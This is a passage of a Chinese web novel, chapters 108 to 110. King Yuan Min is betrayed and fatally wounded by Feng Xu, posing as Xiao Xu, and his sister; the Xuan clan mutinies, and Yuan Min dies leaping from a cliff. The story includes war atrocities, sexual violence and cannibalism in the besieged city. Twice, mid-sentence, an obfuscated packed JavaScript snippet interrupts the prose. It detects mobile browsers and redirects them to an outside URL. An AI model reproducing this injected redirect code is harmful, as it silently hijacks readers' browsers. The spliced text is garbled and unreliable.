她的左手向内蜷着,手腕紧贴在他胸口,那枚她从不离身、美丽精巧的银跳脱,已弹出一根长达三寸、形如狼牙的尖刺,散发着诡异的幽蓝寒芒,一见便知淬了剧毒。 尖刺贯穿衣袍、碎了的护心镜、破了的香袋、裂开的琥珀翠,刺进他的胸膛。 说时迟那时快,元旻马上将她扔开,同时伸脚将一个圆凳踢飞,迎向身后破空而来的刀风。 萧勖趋步往前,挥臂甩出一道霜雪冷光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14245610|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将砸来的凳子砍作两半,毫不迟疑对着他又是凌厉一劈,一刀赛过一刀毒辣。 元旻鞣身躲避间,足尖一勾,将倚在书案边的长剑向上抛起,右臂一挥握住剑柄往外一抽,翻腕格住萧勖的弯刀,紧贴刀面、缠住他刀身向外旋转。 脑子里忽然“嗡”地一声,眼前霎时晕成一团又一团虚影,耳边的风声也变得遥远、越来越轻…… 被琥珀翠压制了两个多月的毒,此时开始气势汹汹的反扑。 他的眼睛几乎全盲、耳力也衰减得还剩不足六成。 萧勖的刀没有停,元旻只能凭直觉不断闪避和格挡,却总有避不开、挡不住的时候。 那些伤并不致命,萧勖猫戏老鼠似的,割开他身上一道又一道皮肉。不过片刻,他后背已被划了五刀、胸前被交错割开三刀,腹部被狠狠剜了两刀。 他痛得几乎再没力气举起长剑,却不敢倒下,只能以剑拄地站着,与萧勖对峙。 萧勖停止了攻击,闲闲道:“还在等内卫么?等不到了。” “我练出来的武卒营,武艺虽稍逊内卫,人数却是他们的两倍。” 说完这句,他再次挥出弯刀,速度极快、自上到下挥出了重影。 元旻感觉自己瞬间被极寒包裹,右臂、左腿、右腿依次传来钻心的疼。他再也握不住剑,伸出仅剩的左手,紧紧攥住屏风架子,使自己不至于倒下。 “目不能视、耳力衰减,还能坚持这样久,你果然很强,我喜欢”,萧勖放声长笑,“可惜你我注定为敌。” 在元旻越来越弱的听觉中,喊杀声如潮水在遥远的地方响起,他用仅剩的力气挤出三个字:“你是谁?” 萧勖好整以暇地笑了:“我是萧勖,是大草原的白隼,是你的表弟卓力格图,更是你欲除之而后快的北宛逆王——冯栩。” “我虽想占据朔门关,却更想毁了翊国最坚固的长城——就是永平王你啊。” “无你坐镇的翊国,兵再多、将再广,不过四分五裂一盘散沙;疆域再广阔、百姓再富庶,不过铁蹄之下一块膏腴。” 另一侧有微风拂过,是元昙从榻上起来了。 “四哥,你不是一直好奇,七月十八的柘枝城究竟发生了何事?” “现在就告诉你,我杀了阿彬,阿栩为了保护我,只好提前仓促起兵。” 元旻暗自蓄力,却发现越是意守丹田,“独活”蔓延得越快,索性散了思绪,随口问:“你为何要杀冯彬?” 元昙蓦然发出一声恐惧的尖叫,语无伦次地辩解:“我不是故意的,阿彬发现了秘密,我拔刀本来是要自戕的,可阿彬他不想让我死,非要摔死思洛,谁都不能伤害我的孩子!我不是故意的,不是……” 她突然癫狂大笑、同时嚎啕大哭:“是我杀了阿彬……杀了这世上最温柔善良的男子,可这一切的始作俑者,却是四哥你啊——” “你为何要抢走四嫂,让十六郎对元氏深恶痛绝,让我无法与他相守,又把我嫁给阿彬,还非逼着阿彬回到柘枝城、卷入那些斗争。” “还假模假样要饶我一命、接我回昇阳,回不去了……从我害了阿彬性命那天开始,不,从兕儿跟越长越像十六郎的时候,我就已经回不去了,回不去了哈哈哈……” “父王、母妃、二哥、三哥、阿矅,我替你们报仇了!” 元旻眼前一阵阵发黑,肺疼得像要炸烈,胸口像被一直大手攫住,不断往外撕扯着、抽出血肉和力气。 他张了张嘴、却什么都说不出来,腿脚疼得发软,左手在空中胡乱挥舞、终于抓实了屏风架。紧跟着身子晃了几下,同那架云母屏风一起,轰然倒地。 失去意识前,恍恍惚惚地,他听到渐行渐近的脚步声、逐渐清晰的刀剑互斫声,以及天枢和开阳嘶哑的呼喊。 108. 宣氏哗变 昇阳王宫,后苑的桂花开了,簇簇碎金碎银参差在墨绿枝叶间。 一定很香,像窖藏的陈年老酒一样馥郁。舜英靠在躺椅上,有些遗憾地吸了吸鼻子,只有淡淡的甜。 承徽站在树下,要承祎给他摘桂花,承祎手脚力量还不够,抱住树干爬了几尺就滑了下来。 舜英定定看着,眼前的桂花树变作了景和宫的梨花树,树下站着两个孩子,眼巴巴盯着树上的男孩。 “四哥,我要那枝半开的。”小元晴奶声奶气喊着。 桂花树下的石桌上,整整齐齐摆放着一排萤火灯,两大四小。都是元旻启程前亲手做的,篾骨薄软,均匀地糊着层素色薄纱。 承祉迈着小短腿,晃晃悠悠跑过来,牵住她袖子眼巴巴地问:“父王什么时候回来呀?” 委屈地对着手指,补充说:“再不回来,就没得萤火虫捉了。” 舜英被他这么一说,忽然想起有一阵没跟元旻通过书信。 不知北宛的事如何了,是时候写封信去武原问问情况,再说说家常话、好好哄一哄他。 这世上哪对君后吵架之后,王后能让国君服软?既然他已让步、下旨打消她的顾虑,自己这臣妾也该顺台阶下,服个软写信把话说开。 也许话说开,拔出他心里的刺,她和褚氏以后的日子都会变好。 她如是想着,从宫人手里接过一枝桂花,搁在枕边,嗅着微浓的香气,唇角噙着恍惚的微笑,沉沉睡去。 . 烟尘滚滚,宣正浩正骑马往西郊大营飞奔,他的身后追着一大群儿子和侄子。 宣三郎惶恐地问:“陛下真听了小人蒙蔽,要冤杀忠臣?” 宣正浩急得热汗直流,从袖中拿出一封线报扔出去:“看看吧,从望月关传来的讯息,老五已经被生擒了。” 宣八郎愕然:“咱们宣氏历代戍守边防重镇,一直兢兢业业、未有差池啊。” 宣十郎也说:“对呀,上次调错兵的事,陛下不是已与父亲说开,打一顿不再追究?” 宣正浩重重长叹:“怕还是前些年攀附逆王之事要清算了,儿郎们听好了,往后站队一定得要一条道坚持到黑,成王败寇而已。” 宣大郎懊恼道:“反复无常不仅惹人耻笑,还被多方猜忌,末了什么都落不着,羊肉吃不着惹一身膻。” 五房的三郎沉吟道:“也不只是站错队的事,爹以前在昇阳太尉府跟过大殿下,晓得些端倪。” “陛下早就看不惯宣庆、朔宁两府独大,刚即位就急不可耐地开垦三军郡,将军队节制一分为三。” 五房的九郎叹息:“国君要集权也是寻常事,他却做的太绝了。” 宣二郎附和:“大殿下没了宣庆府,直接官至国尉,咱们有什么、连个善终都落不着?” 宣正浩眉头皱得更紧:“眼见着北宛冯氏有点实力的男人都死绝了,马上一盘散沙了,正是兔死狗烹、鸟尽弓藏的好时机。” 宣十郎后怕地抹了抹额头的汗:“还好阿勖瞧出些端倪,早早跟咱们商讨,还有些时间准备。” 五房的九郎点头:“国尉大人一启程,大营就开始整兵备战了。” 宣三郎呆了呆,迟疑着又问了一遍:“爹,咱们真的要反?” 宣正浩思忖片刻,斩钉截铁地纠正:“这不叫反,这叫清君侧。” “此次巡军除了国尉,好些个支持军制的朝廷官员也在伴驾队伍中。咱们去找陛下要个说法,让他下令杀了那些官员,再封宣氏个世代罔替、赐丹书铁劵。” 宣十郎迟疑道:“逼着陛下杀臣子,要来的爵位和丹书铁劵好使么?” 五房的三郎冷笑:“重要的不是能求来什么,是让陛下在大庭广众下杀几个支持改制的官员。只要杀了这批人,大家都晓得这个陛下也没那么厉害、不是谁都护得住。” “往后再提改制,谁还敢如此全力以赴?” 宣三郎突然问:“爹,大殿下可是在咱们的都督府长大的,也跟着杀了?” 五房的三郎摇摇头:“在昇阳时,他还帮咱们家说了不少好话,关个几天等事情过了再说…何况,他还是笙儿的亲爹,二哥的亲家。” 宣正浩思忖片刻:“策儿这次没来?” 宣长策,正是宣二郎家的老九,元念笙的夫婿。 宣二郎摇摇头:“瞒着他的,让他带媳妇儿进地皇山游玩了……这种事,他帮谁都不好,等回来了跟大殿下关一块儿。” 正在此时,一人一骑挟烟尘疾驰而至,恭恭敬敬递给宣正浩一封信。 宣正浩展开信看了一眼,顿时喜笑颜开:“做得好,阿勖已控制了陛下一行人。” 宣八郎跟着笑了:“苒儿的眼光当真不错,一挑就挑个如此得力的男人。” . 八月二十四夜,武原城外西郊大营,边缘位置一座不起眼的帐篷内,围了七八十个人。 他们的衣袍多为皂色或灰白色,浆洗了不知多少遍,也不像宣氏子弟那般描文绣花。均出身寒微,从政和七年至今,两年一武选,考进军中的武官。 混了二十二年,最高也不过是军司马。 原本有几个混到校尉官衔的,巡完军那夜突然消失了。 最年长的吴大压低了声音:“消失的那几个校尉,怕是有去无回。” “快巡完军那天,王校尉偷偷找我喝酒,说朔宁怕是要出大事。有天晚上,宣氏子弟都跟陛下去饮宴了,他去大将军院里送东西,发现有隐蝠卫的人在书房翻找。他没敢声张,悄悄退了。” 刘三点头附和:“都晓得咱们是陛下的人,都防着咱们……若要出事,咱们级别太低、宣氏顾不上,那些掌握一营几千人的校尉,肯定要先被处理掉。” 朱六声音压得更低:“那咱们前天接到军令,整兵备战、还整不整?” 吴大思忖半晌:“整,假装啥都不晓得,先跟手下兄弟们通好气。” 刘三点头:“咱们这七十多人,手下的精兵凑起来也七八千人,能派上用场。” 然后,吴大言简意赅地总结:“回去的时候小心些,莫露了行藏。” “届时见机行事,任陛下和国尉大人派遣。” 一群人分散着走出帐篷,悄无声息消失在夜色中。 . 八月二十六黄昏,宣正浩命族中子侄,率麾下四万轻骑控制了武原县,并率一千亲兵包围了朔宁边户都督府,却并未如信中所说,见到被控制的翊王元旻。 元旻暂居的主院,黏稠的血淹过鞋背,血泊中堆叠着惨不忍睹的尸首,隐蝠卫的、宫人的、嬷嬷的、武卒营的、北宛王亲兵的…… 宣正浩推开书房的门,主位上坐着的,正是他那年少有为的女婿——萧勖。 萧勖手里提着一把弯刀,刀身的血已凝结成褐色,身上短打的黑色更深,半干的血粘在他劲瘦的躯体上,白皙的脸颊上抹着数道干涸鲜血,整个人像是从血池里捞出来的。 他脸上挂着微笑,双眸却闪着嗜血的光。 他的身边,并肩坐着位姿容稀世的女子,她脸上纵横着无数干涸的泪痕,却带着癫狂的笑,正是元旻之妹——鹤华长公主元昙。 书房中狼藉一片,凌乱地散落着被砍烂的桌、凳,云母屏风已在地上摔得粉碎,到处都溅着半干的血迹。 宣正浩怔愣了半晌才回过神:“阿勖,陛下呢?” 萧勖轻描淡写地说:“被我杀了。” 宣正浩悚然惊住,又看向元昙,试探着问:“你与公主……此为何意?” 萧勖笑意更盛,展臂将元昙揽入怀中:“她是我的阏氏。” “阏氏!”宣正浩陡然反应过来,瞳孔急遽放大,惊恐地倒退了两步,“你,你是……” “大宛先王冯延第十五子卓力格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14257960|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图,大草原的白隼,以及——大宛汗王冯栩!” 冯栩满意地看着宣正浩满脸惊愕,站了起来:“我守在这儿,是有两件事要同宣大人商议。” “这第一,我已答应我的阏氏只娶她一个女人,所以你那个女儿……”他认真地蹙眉,叹了口气,似乎很为难,“老实说,我根本没碰过她……不喜欢。要么好聚好散,不然我就把她赏给下属,总有人喜欢她那种生瓜蛋子,宣大人想想清楚?” 宣正浩指着他,气得发颤:“禽兽!” 冯栩笑了笑,丝毫不在意他的愤怒:“这第二件事,请宣大人以朔宁府两大关隘为注,归顺我大宛,为公为侯由卿自择。” 宣正浩前前后后想了一遍,再愚钝也明白了:“好个用心歹毒的北宛王,想挑拨陛下与老夫的君臣之情,逼反朔宁府?做梦!” 冯栩轻嗤:“今天中午,全武原城的人都看到你的女婿,率武卒营与北宛汗王的亲兵里应外合,杀了翊王内卫,谋害君主。” 宣正浩冷笑:“老夫即刻清理门户,绑了你去陛下面前陈情,还有余地!” 手一挥,数百亲兵将院子团团围住。 冯栩却纹丝未动,院里静悄悄的,甚至没有一个亲兵来驰援他。 只一瞬不瞬盯着宣正浩双眼:“你们的君臣之情?有那玩意儿么?” 他闲闲起身、在房里踱步,依然盯着宣正浩,满目讥诮:“是你宣氏身为昭王母族,扶持年轻的昭王,又助他扶养幼弟、替他养育外室子,他一朝登临大统,却让你们继续坐冷板凳?” “是征和二十年,昭王尸骨未寒,你们紧锣密鼓拥立永平王的杀父仇人?” “是凤鸣四年,你冒着夷三族的风险,率先发兵勤王的从龙之功,却只换了个和崔氏同等的待遇?” “还是你一遍又一遍给永平王塞女人,塞得所有世家都在看笑话,他元旻才勉为其难从旁系联了两门姻亲?” “还是你宣氏兢兢业业替他元氏守两大关隘,却只换来永平王改制削权?” “你宣氏,同翊国永平王有何君臣之情?” 宣正浩沉默不语,逐渐握紧拳头、微微发颤。 望不到边的边境苦寒,看得到头的仕途狭隘,不止贯穿他五十多年光阴,也镂刻在宣氏祖祖辈辈的骨子里,随血脉流传到子子孙孙千秋万代。 他宣氏,生来就该比别的世家多承受这些么? 冯栩觑着他神情,笑得更如沐春风:“何况,方才武卒营并未将内卫杀干净;至于你调兵……我怎么记得,从临梁郡登上神武关,用千里镜是可以探察到你们有兵马调动的!” “宣大人不妨猜猜,此时此刻,宣氏勾结北宛、弑君叛国,朔宁府边军哗变,这些消息已传到哪儿了?” “临梁、广宁、建兴?还是怀阳、洛京?亦或是——昇阳?” “宣大人,你可还有得选?” 宣正浩的额头不断沁出冷汗,濡湿领口、滴到地面…… “大不了老夫率阖城将士殉国,还得个千秋万代配飨太庙”,半晌,他双唇翕动,仰起头冷然道,“同样是世代公爵、同样是戍守苦寒之地,为翊臣、为宛臣又有何区别?” 冯栩声音柔和,含笑注视着他:“为翊臣,历年税收财赋八成之数上交朝廷,再由朝廷统一发拨军资。若未得君主和三公首肯,顷刻粮草尽断;况朝廷军改在即,你这朔宁府能维持几年都难说。” “为宛臣,朕授你全权印信,所有的兵你自己养,大部分赋税你自行入瓠,以臣属之名,行藩国之实,如何?” 他的声音带着难以言喻的诱惑:“你需要做的,仅仅是每年向柘枝城上缴两成税赋,以及在大宛骑兵挥师南下时,行个方便,如何?” 宣正浩眼瞳急遽收缩,喉结上下滚动不休,半晌后,双膝一弯、铿然跪地。 “臣宣正浩,拜见大宛汗王陛下!” 109. 长烟落日孤城闭 痛,好痛! 胸腔像是被撕扯开来,心肺的位置空荡荡的,好似已感知不到心跳。后背、胸膛一大片都火辣辣的,腹腔却凉凉的、可能是内脏掉出来了吧。 蜷了蜷手指脚趾,除了左手、其他都没有知觉,右手手腕、双足脚踝都痛得钻心、痛到麻木。 元旻眨了眨眼,一团模糊不清,不是黑白灰中任何一种,只是重重虚无。 “陛下,可感觉好些了?” 耳畔传来天枢的声音。 喉咙干得发疼,双唇也皲裂了,元旻张了张嘴,只发出几个低哑含糊的音节。 “能张嘴了,快……”,开阳催促,“拿水袋来。” 元旻感觉头部被轻轻托起,一股温热的液体流进口中,润湿了口舌和喉咙。 身子稍微挪动便痛不欲生,他定了定神,忍痛喝了几口水,清了清嗓子:“有个锦袋,朕随身带着的……” 天枢忙问:“是不是白色的,收在袖中?” 元旻轻轻“嗯”了一声。 天枢叹了口气:“锦袋被那贼子斩碎了,有两粒化进血水里捞都捞不起来,还有一粒当时就给陛下吞服,眼下还有两粒。” 元旻深吸一口气:“甚好,扶朕坐起来吧。” 远远传来元晞的声音:“伤成这样,陛下还是躺着好些,咱们必定拼死护送陛下回到昇阳。” 元旻唇角弯了弯,吸气压住疼痛:“朕身中剧毒、手足皆废,已无力回天。纵回昇阳苟活,如此孱弱君主,于江山社稷有百害而无一利。” 顿了顿,他伸出左手摸索着:“大哥。” 元晞忙紧紧握住了他:“陛下,臣在。” “大哥,问你要个人”,元旻脸上挂着笑,痛的发颤,“国赖长君,把承陵过继给朕吧。” 元晞声音哽咽:“臣眼盲心瞎,未能尽早察觉宣氏谋逆之心……” “听我说,时间不多了”,元旻打断他的忏悔,“事已至此,还请大哥摈弃私情,一切以国体为先。” 元晞弯腰跪了下去,攥住他的手剧烈颤抖,嚎啕大哭:“臣都听陛下的。” 远方传来人声马嘶,像沸腾的潮水,一迭一迭汹涌着灌入双耳。 在元晞的搀扶下坐直上身,元旻又道:“开阳,朕记得你有一种药丸,可抑制痛觉。” 开阳:“是,不过药劲过了会加倍疼回来。” 元旻微微摇头:“全拿出来用吧,朕活不到疼回来那天了,却还有太多事需要交待。” 开阳从腰包里取出药给他服下,过了半晌,他因剧痛而抽搐的面部逐渐平静了。 所有人都沉默着围到元旻身边,定定注视着他涣散的双眸,天权更是从随身的革袋取出炭笔和纸张,洗耳恭听。 元旻理了理千头万绪,轻声问:“先各自说说,八月二十五,你们遇到了何事,后续如何?” . 先是天枢,原本好好守在院中,那两名带萧勖进屋的武卒出来后并未离开,而是就地守在门口。 天枢只当是元旻安排,并未在意。忽然听到书房内传出熟悉的箭矢声,赶紧三步并作一步跃上台阶。 即将冲进房门时,守在门口的两名武卒骤然暴起,齐齐挥刀向他砍来。 周围的隐蝠卫见势不好,赶紧拔刀相助,院门却潮水般涌入更多的武卒和俘兵,一路跑一路砍,内侍、御侍、嬷嬷宫人一个都不放过。 听着屋内的打斗声,天枢心急如焚,可从上台阶到进门的那半丈距离,在武卒和俘兵的不断冲击下,成了不可逾越的天堑。 他伤痕累累,一边拼命挥刀往里冲,一边连发十一道隐蝠卫的求救烟花。 砍卷刃了六把长刀,终于听到那凌厉的破空啸声,开阳领着麾下五十名武艺高强的刀客冲杀进来。 门却从内打开,武卒和俘兵簇拥着浑身是血的萧勖和元昙,且战且退。 他们忙冲进书房,只看到满地狼藉、满目鲜血,碎裂的屏风旁倒着遍体鳞伤的元旻。 元晞那边,待湛卢小队活捉宣正淼之后,立即率二千亲兵回援武原。 快要入城时,一行人在山路遭遇埋伏。元晞一见伏兵穿着朔宁府的军服,便知出大事了,且战且逃,押着宣正淼冲进山内。 因宣正淼反抗激烈,押解颇为艰难,追兵步步紧逼。不得已之下,他们砍伤宣正淼四肢,将他弃置半道。 湛卢在林间发现新刮出的树皮,认出是隐蝠卫标记,忙带着元晞及两千精兵跟了过来。果然在临梁山往南的一处山洞中,发现了遍体鳞伤的开阳、天枢、天权,以及他三人麾下仅存的三十多名隐蝠卫。 还有惨不忍睹,只剩一口气的国君。 “看来宣氏早有准备”,元旻思忖片刻,幽幽地说,“就是不知早存反心,还是被冯栩挑拨离间、如今才下定决心。” 低头苦笑起来:“事到如今,也无甚差别。” 说完这句,他又默了半晌,然后挺直了腰背、仰首挺胸。众人悚然大惊,纷纷双膝跪下,安静地等他示下。 “国尉元晞听令,即刻率精兵突围出城、返回昇阳,过继长子入嫡嗣,并拥立新君元承陵。褚舜英、元璟、元晞辅。天权、开阳随元晞回京,共证此诏,此后天权任新君调遣。国不可一日无君,尔等不得稍有耽延!” 他摸索着从天权手中接过纸张和炭笔,用左手歪歪斜斜写下传位诏书,蘸着血、盖上天枢抢回来的印玺。 想了想,又在诏书的角落画了寥寥数笔,同印玺一并递到元晞手中:“给王后看这个,她会帮你们,记住,一定要让她亲自把承陵扶上王座。” “回去后先找母后和王后,有她们支持作保,你们能更快调动卫尉寺和羽林卫。” 元晞接过诏书和印玺,只感觉手头和心头同时沉了下去,泪如雨下。 元旻紧了紧握着的手,以示宽慰,又继续道:“天权,沿途向摇光传信,让元晴尽快从灵昌回来。朕在启程之前,写过一份完好的诏书,藏在仅她知晓的地方,可用来压制朝中质询。” 元晞心尖一颤——他究竟预感到什么,才会年纪轻轻就打定主意,传位给长侄而非亲子? 元旻不疾不徐地说着,他中气虚弱,每句话都很轻,却已尽力口齿清晰、字正腔圆。 “让阿晴回来,请她替朕完成送琥珀翠那天,四哥的托付……不是君令,仅仅是兄长的嘱托……” “开阳,回昇阳后跟随王后吧,好好保护她。” 开阳低下头,七尺男儿眼眶通红、潸然泪下:“末将领命!” 听令的人窸窸窣窣起身,收拾好行装,纷纷跪下向元旻辞别,然后走出山洞。 “大哥等等。” 元旻眼中掠过一丝慌乱,撕下一截衣袖、咬破手指写下几个字,塞到折返回来的元晞手中,急切地颤声叮嘱:“这封密诏一定要亲手交给阿英,除了你我和她,不要让第四个人知道。” 元晞拿起印玺盖下,瞥见密诏内容、愕然睁大双眼,愣了许久才轻声问:“还有要带给王后的话么?” 元旻笑容苦涩,憋了许久的泪夺眶而出,张了张嘴,却只坚决地缓缓摇头。 元晞面朝他屈下双膝,行了此生最端正的一个稽首大礼,然后站起来,转身走向洞外。 大颗泪珠滴落在手中遗诏上,模糊了右下角歪斜难看的简笔画:两朵看不出原样的花相依相偎,簇拥着四片树叶,两大一小、还有一片细弱得几乎看不出来。 天枢带着麾下仅剩的十余人,守在元旻身边。 依国法,主君若死于非命,随侍内卫全需以死谢罪。隐蝠卫皆属内卫编制,但各有外派,寸步不离随侍的也唯有天枢、天权两部。 想了半晌,天枢请求道:“陛下,让末将掩护您冲出去吧,就算是……毕竟离昇阳更近,末将只要还有一口气,必 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同时,由谢朗率领的三郡骑兵,从草原绕过来堵在朔门关外,截断了北宛骑兵的粮草,并守在关隘出口及乌兰山道路两侧,伏击出关的敌军。 从朔门关到神武关的武原盆地变成了孤岛,武原城两侧被围堵,成为一座孤城。 临梁郡东郊大营,武煊握着笔迹歪斜的军令,眼圈通红,挤出个比哭还难看的笑:“四哥啊,你也有写字这么丑的时候。” 八月二十四,他接到的军令是打开神武关、率兵北上,从叛将手中接管朔宁军。 短短数日,风云突变,叛军哗变已不可逆转,届时若与冯栩合兵南下,一旦跨过神武关将再无关隘可守。 唯有从南北截断粮草水源,将冯栩、宣氏的大军困死在这座孤城。 将被同样困死的,还有满城百姓、元旻及随侍的内卫。 . 元旻并未孤军奋战太久。 冯栩率兵攻入武原的当夜,元念笙从西郊大营带出了七十三个武官,他们出身寒微,麾下只有一部、一曲,甚至仅一屯、一队之兵,合起来却也达九千人之众。 靠着护心丹和镇痛药的支撑,元旻奇迹般地恢复了部分行动力。他将藏身的山洞作为中帐,将这九千人以最快的速度重新整编,分为十八个游击营。 每每入夜,游击营趁北宛骑兵在城内饮酒作乐,与之展开了闪电巷战。 九千人,杀不掉多少叛军和北宛兵,却力所能及地救出些平民,分批次送出城外、藏匿山中或南下。 九月初二,事态再次变化,宣正浩和宣正淼闹翻了。 宣正淼久处庙堂、行事圆滑,那天在山道上被武卒营救回之后,顷刻向冯栩投了诚。 而那个一辈子左摇右摆、汲汲营营,却永远一根筋、缺少分寸的宣正浩,在目睹北宛骑兵的恶行后,在女儿、孙子死于乱军之中后,那颗争荣夸耀之心再度开始摇摆。 他再度,城头变幻大王旗。 他坐镇朔宁二十来年,余威尚在,秘密串联老部下、死忠于他的子侄。在夜色的掩盖下,集结了一万轻骑、一千铁骑。 趁寅初众人睡意最浓的时候,对散落城中各处的北宛骑兵发动了突袭。 那场大战直到日出时才分出胜负,冯栩损失了近四万精兵,宣正浩及追随他的武官全被屠杀,幸存的士卒被冲散后、补充入元旻指挥的游击营。 “老子追名逐利、贪图权势,可老子是人,不是禽兽!” 当冯栩那柄弯刀划割他喉咙、热血喷涌时,他说出了此生最后一句豪言壮语。 此时,城中已断粮六天。 北宛骑兵、朔宁军合计约十八万人,除去战死的六万余,还有十二万张嘴。 刮地三尺也搜不出半点粮食,士兵饥肠辘辘,开始猎杀未逃出城的平民为食。 110. 无处话凄凉 匪过如梳、兵过如篦。 平民中的青壮男子已被屠杀殆尽,骨肉狼籍,遍地皆是,民妇民女则生不如死,夕为红帐妓,旦作两脚羊。 远处,死里逃生的百姓,在游击营的协助下,正手足并用通过狭窄的临时栈道,人群里不时发出压抑的低泣。 元旻靠在山洞口,元念笙正往他后背与洞壁的间隙垫上软布,扶着他的时候,稍一用力、皮肉就成片掉落。 “笙儿,还在气大哥当时没带上你一起走?” 元念笙笑了笑:“刚开始有点气,气着气着就过了……毕竟我已经长大了。” “我的夫君留在了这座城,就算爹爹想带走我,我也不愿离开”,怀想半晌后,她眼圈红了,泪花浮动,“各有各的道要走,各有各的债要还。” 有情皆孽,无人不冤。 宣长策死于八月二十七,骑兵入城的那个清晨。那时候,他们刚从山中回来,一眼见到城中兵荒马乱,揪着好几人才大致问清了来龙去脉。 急怒攻心的元念笙,当时就给了他几耳光,问候了他祖宗十八代,骂他诱自己入山是故意欺瞒,然后只身冲入城中寻找元晞和元旻。 正值此时,冯栩率亲兵占据了都督府,他们夫妻离府门还有段距离,原本都能逃掉。宣苒却突然出现,冲破层层阻拦,一路追到冯栩跟前去质问。 冯栩面若冰霜,眼皮都未掀动一下,仿佛眼前的不是跟自己拜过堂、成过亲的前妻,只是个无关紧要的路人。 几个亲兵见冯栩不在意,目光灼灼围住了她,光天化日下就开始撕扯衣裙。宣长策不愿见姑姑受辱,一把将念笙扔上马背、抽了一鞭子马臀,然后提着刀冲回了都督府。 姑姑、侄儿,都再也没出来。 . 一场秋雨一场寒,乌兰山一带入冬极早。 九月初八,武原县下了永平六年的第一场雪。 城中未逃出的平民已被分食殆尽,军中马匹也被杀了近三成,还有继续杀马为食的趋势。比断粮更严重的是,城中缺少干净的水源。 北宛勇士生性野蛮不羁,最厌约束,被困城中十二天,弹尽粮绝、寸步难行,军心摇摇欲坠。慑于冯栩之威,无人敢当面言退,却也怨声载道。 北宛兵与朔宁军,北宛兵中不同部落的出身,矛盾在缺衣少食的紧张环境下日趋激烈,屡屡发生冲突,持械斗殴、当街杀人。冯栩亲自砍杀三十多名挑头的,才稍稍压制了暴乱。 被困死的,不止北宛骑兵与朔宁叛军。 十八游击营出逃时,每人只带了三天口粮,省了又省、最多吃六七天,此后的几天皆靠草根树皮果腹。 饥寒交迫、战死、重伤不治,到下雪那天,最初的九千人只剩一百多人。 元旻手中镇痛药和伤药已用尽,最后一粒护心丹的效用也即将到头。 抓心挠肝的疼加倍袭来,还透着深入骨髓的痒,想是已成片溃烂了。 夜不成眠时,元旻庆幸自己早已失去嗅觉,否则每时每刻都能闻到自己腐烂的气息;又庆幸自己目不能视,看不到自己最邋遢丑陋的模样。 “大哥他们应该回到昇阳了,说不定承陵已经即位。” “笙儿,城中已没有百姓需要我们守护了,晚上带着剩下的人逃吧,若能活着逃离,帮我带几句话出去。” “笙儿,别想着带四叔了,累赘,伤成这样、活着也遭罪。” 元念笙捂住嘴,不让哭声漏出来,泪水却不断从颊边流过指缝。 曾经那纤尘不染、清风朗月般的男子,此时鬓发蓬乱、衣衫破碎,除了那张脸还依稀能辨出昔日风采,全身上下没一块好肉,溃烂的皮肉已剥脱见骨。 他永远那样骄傲,重伤如斯,仍竭尽全力地维持着仪态端庄。 “跟你爹说,这次冯栩带来的全是精兵,已消耗过半,入冬会消耗得更多,他们的人没跨过神武关已经算输了。天寒地冻的,谢朗那边最多再堵半个月就撤,熬到开春雪化了再发兵。” “北宛再是全民皆兵,精兵统共也就那么些,打了几年剩的也不多了。” “跟武煊说,望月关已失,多提防郅阳、北卢两郡,谨防苻洵趁王位交接时作乱。” 念笙不住点头,转瞬想起他看不见,于是哽咽着“嗯”了数声。 “笙儿,收拾收拾快走吧……四叔疼得厉害。” “别哭了,一国之君,与其老死病床,不如战死沙场。” “弟弟妹妹若问起来,告诉他们爹爹是站着死去的。莫让他们知晓,爹爹死得这样难看。” 夜色中,念笙摸索着荆棘丛生的荒径远去,身后传来元旻沙哑的嘱托,轻的像脆弱的云烟,被风一卷就消失无踪。 天枢背着元旻,顺着山路,深一脚浅一脚爬上峰顶,停在一座万仞悬崖边,扶着他站直身躯。 此地名为殒星崖。 千年前,女王寥天在地皇山魂飞魄散。数十年后,元长懋和元湘长大成人、且已能独当一面时,元穹孤身来到此崖,纵身跃下、生死相随。 元氏一族血脉里就流淌着痴情。 这也是元旻替自己选好的埋骨之地。 雾霭浸润在指尖、潮湿微凉,山风从崖底吹来、苍莽急促。 远处的武原城燃起了熊熊大火,焰光映红了半边天,城中众军四散奔逃、哭喊震天。元旻对游击营下了最后一道军令——纵火烧城。 这是他们对敌军最后的抗争、对这座千年古城最后的守护。 “可惜,不能亲眼目睹大翊收复朔门关了。” 元旻小心翼翼从怀中拿出那只破了的香囊,指腹一点点摩挲着光滑的丝绸面、绣线的纹路:海棠和木槿相偎相依,两大两小共四片叶子,正在枝繁叶茂。 举起来,轻轻覆上双唇,像是亲吻着绣上花纹的那双手。 然后,将香囊紧握在手心,面向南方,纵身一跃。 下坠的时候,时间的流速变得极缓极慢,模糊了许久的视线突然变得清晰。 景和宫的梨花、兴庆宫的海棠、明亮的宫学、冷漠威严的父王、端庄温和的母后、活泼开朗的胞妹…… 白露水榭的荻花、三江村的雨夜、篝火堆旁翩跹的舞姿、海棠树下定情的纠缠、册后大典上紧紧交握的双手…… 这二十六年短短一生,走马灯般在他眼前闪过浮光掠影。 风温柔地滑过掌心,穿梭在指缝间,像是缠绕着她柔软的发丝。 他总在害怕她离开自己,到头来,却是自己先放开手、抛下了她。 “可惜,不能与你白头偕老了。” 